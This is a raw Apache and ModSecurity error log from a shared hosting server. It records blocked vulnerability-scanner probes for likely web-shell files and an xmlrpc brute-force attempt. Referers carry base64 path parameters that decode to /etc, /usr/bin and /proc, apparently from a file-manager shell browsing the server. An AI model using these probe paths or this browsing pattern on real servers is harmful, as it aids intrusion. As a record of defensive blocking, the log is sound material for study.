https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjEyL3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:09:44.972478 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjEyL3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:09:44.985489 2026] [security2:error] [pid 531797:tid 532111] [client 20.151.217.54:40250] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/asu.php"] [unique_id "ai3xSMTA7b1mZrmcA-8dQgAAAoQ"] [Sat Jun 13 18:09:45.078071 2026] [security2:error] [pid 531797:tid 531936] [remote 17.22.237.134:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 134.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xScTA7b1mZrmcA-8dRQACkUg"] [Sat Jun 13 18:09:45.228234 2026] [access_compat:error] [pid 531797:tid 531986] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:09:45.228509 2026] [access_compat:error] [pid 531797:tid 531986] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:09:45.250903 2026] [security2:error] [pid 531797:tid 532092] [client 172.171.3.232:37857] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/sadcut1.php"] [unique_id "ai3xScTA7b1mZrmcA-8dTAAAAnE"] [Sat Jun 13 18:09:45.308804 2026] [access_compat:error] [pid 531797:tid 531916] [remote 57.141.14.20:56850] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:45.309240 2026] [access_compat:error] [pid 531797:tid 531916] [remote 57.141.14.20:56850] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:45.560401 2026] [security2:error] [pid 531797:tid 531878] [remote 17.22.253.235:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xScTA7b1mZrmcA-8dVwACZw4"] [Sat Jun 13 18:09:45.564094 2026] [access_compat:error] [pid 531155:tid 531171] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:09:45.564371 2026] [access_compat:error] [pid 531155:tid 531171] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:09:45.587633 2026] [security2:error] [pid 531797:tid 532108] [client 191.234.188.123:47712] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/doo.php"] [unique_id "ai3xScTA7b1mZrmcA-8dWQAAAoE"] [Sat Jun 13 18:09:45.607847 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.16:50810] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:45.608133 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.16:50810] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:45.670658 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:45.670980 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:46.001472 2026] [access_compat:error] [pid 531797:tid 531869] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9tYW4vbWFuOA== [Sat Jun 13 18:09:46.001913 2026] [access_compat:error] [pid 531797:tid 531869] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9tYW4vbWFuOA== [Sat Jun 13 18:09:46.061452 2026] [access_compat:error] [pid 531155:tid 531181] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:46.061816 2026] [access_compat:error] [pid 531155:tid 531181] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:46.221409 2026] [access_compat:error] [pid 531155:tid 531228] [remote 57.141.14.112:22206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:46.221904 2026] [access_compat:error] [pid 531155:tid 531228] [remote 57.141.14.112:22206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:46.243871 2026] [access_compat:error] [pid 531155:tid 531266] [remote 57.141.14.7:32875] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:46.244310 2026] [access_compat:error] [pid 531155:tid 531266] [remote 57.141.14.7:32875] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:46.291883 2026] [access_compat:error] [pid 531155:tid 531252] [remote 216.73.216.182:44946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:46.292142 2026] [access_compat:error] [pid 531155:tid 531252] [remote 216.73.216.182:44946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:46.370782 2026] [security2:error] [pid 531155:tid 531240] [remote 17.246.23.12:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xSimiP80klyS0Nnrz_QABXlQ"] [Sat Jun 13 18:09:46.441475 2026] [security2:error] [pid 531155:tid 531307] [client 191.234.188.123:64579] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/ms.php"] [unique_id "ai3xSimiP80klyS0Nnrz_wAAASA"] [Sat Jun 13 18:09:46.530076 2026] [access_compat:error] [pid 531797:tid 531960] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly92YXIvc29mdGFjdWxvdXM= [Sat Jun 13 18:09:46.530517 2026] [access_compat:error] [pid 531797:tid 531960] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly92YXIvc29mdGFjdWxvdXM= [Sat Jun 13 18:09:46.570882 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDAvZGV2aWNl [Sat Jun 13 18:09:46.571155 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDAvZGV2aWNl [Sat Jun 13 18:09:46.602728 2026] [security2:error] [pid 531797:tid 531911] [remote 17.241.219.218:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 218.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xSsTA7b1mZrmcA-8dhgACWi8"] [Sat Jun 13 18:09:46.680722 2026] [security2:error] [pid 531155:tid 531255] [remote 216.73.216.182:44946] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3xSimiP80klyS0Nnr0BQABKGM"], referer: https://homs.co.ke/?action=adminer&p=Ly9zeXMvYmxvY2svc2RjL3Bvd2Vy [Sat Jun 13 18:09:46.682524 2026] [security2:error] [pid 531797:tid 532044] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/vprintf_variation16.phpt"] [unique_id "ai3xSsTA7b1mZrmcA-8diQAAAkM"] [Sat Jun 13 18:09:46.700954 2026] [access_compat:error] [pid 531797:tid 531973] [remote 57.141.14.31:24276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:46.701412 2026] [access_compat:error] [pid 531797:tid 531973] [remote 57.141.14.31:24276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:46.704505 2026] [access_compat:error] [pid 531797:tid 531908] [remote 57.141.14.76:39033] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:46.704789 2026] [access_compat:error] [pid 531797:tid 531908] [remote 57.141.14.76:39033] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:46.842105 2026] [autoindex:error] [pid 531797:tid 531948] [remote 217.160.202.182:49500] AH01276: Cannot serve directory /home3/ticomsat/public_html/retamalesdaza.com/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:09:47.045296 2026] [security2:error] [pid 531797:tid 531921] [remote 17.22.237.148:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 148.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xS8TA7b1mZrmcA-8dkwACODk"] [Sat Jun 13 18:09:47.070452 2026] [access_compat:error] [pid 531797:tid 531950] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9ldGM= [Sat Jun 13 18:09:47.070780 2026] [access_compat:error] [pid 531797:tid 531950] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9ldGM= [Sat Jun 13 18:09:47.112463 2026] [security2:error] [pid 531797:tid 532052] [client 172.56.168.133:14618] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xS8TA7b1mZrmcA-8dmAAAAko"] [Sat Jun 13 18:09:47.117058 2026] [security2:error] [pid 531797:tid 532052] [client 172.56.168.133:14618] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xS8TA7b1mZrmcA-8dmAAAAko"] [Sat Jun 13 18:09:47.124640 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvZHJpdmVyL0xOWFBXUkJOOjAw [Sat Jun 13 18:09:47.125087 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvZHJpdmVyL0xOWFBXUkJOOjAw [Sat Jun 13 18:09:47.175958 2026] [security2:error] [pid 531155:tid 531381] [client 173.254.29.157:26204] ModSecurity: Warning. Matched phrase "Ninja" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "www.yod.ninja"] [uri "/wp-cron.php"] [unique_id "ai3xSymiP80klyS0Nnr0CgAAAWo"] [Sat Jun 13 18:09:47.275983 2026] [access_compat:error] [pid 531797:tid 531924] [remote 57.141.14.20:20286] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:47.276318 2026] [access_compat:error] [pid 531797:tid 531924] [remote 57.141.14.20:20286] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:47.365414 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.28:39888] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:47.365856 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.28:39888] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:47.556136 2026] [security2:error] [pid 531155:tid 531270] [remote 17.246.19.19:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xSymiP80klyS0Nnr0DgABcHI"] [Sat Jun 13 18:09:47.560677 2026] [security2:error] [pid 531797:tid 531894] [remote 17.241.75.159:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 159.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xS8TA7b1mZrmcA-8dpwACGB4"] [Sat Jun 13 18:09:47.571109 2026] [access_compat:error] [pid 531797:tid 531952] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly92YXIvc29mdGFjdWxvdXM= [Sat Jun 13 18:09:47.571422 2026] [access_compat:error] [pid 531797:tid 531952] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly92YXIvc29mdGFjdWxvdXM= [Sat Jun 13 18:09:47.579452 2026] [access_compat:error] [pid 531797:tid 531930] [remote 57.141.14.95:49019] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:47.579718 2026] [access_compat:error] [pid 531797:tid 531930] [remote 57.141.14.95:49019] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:47.624471 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkw [Sat Jun 13 18:09:47.624785 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkw [Sat Jun 13 18:09:47.710877 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 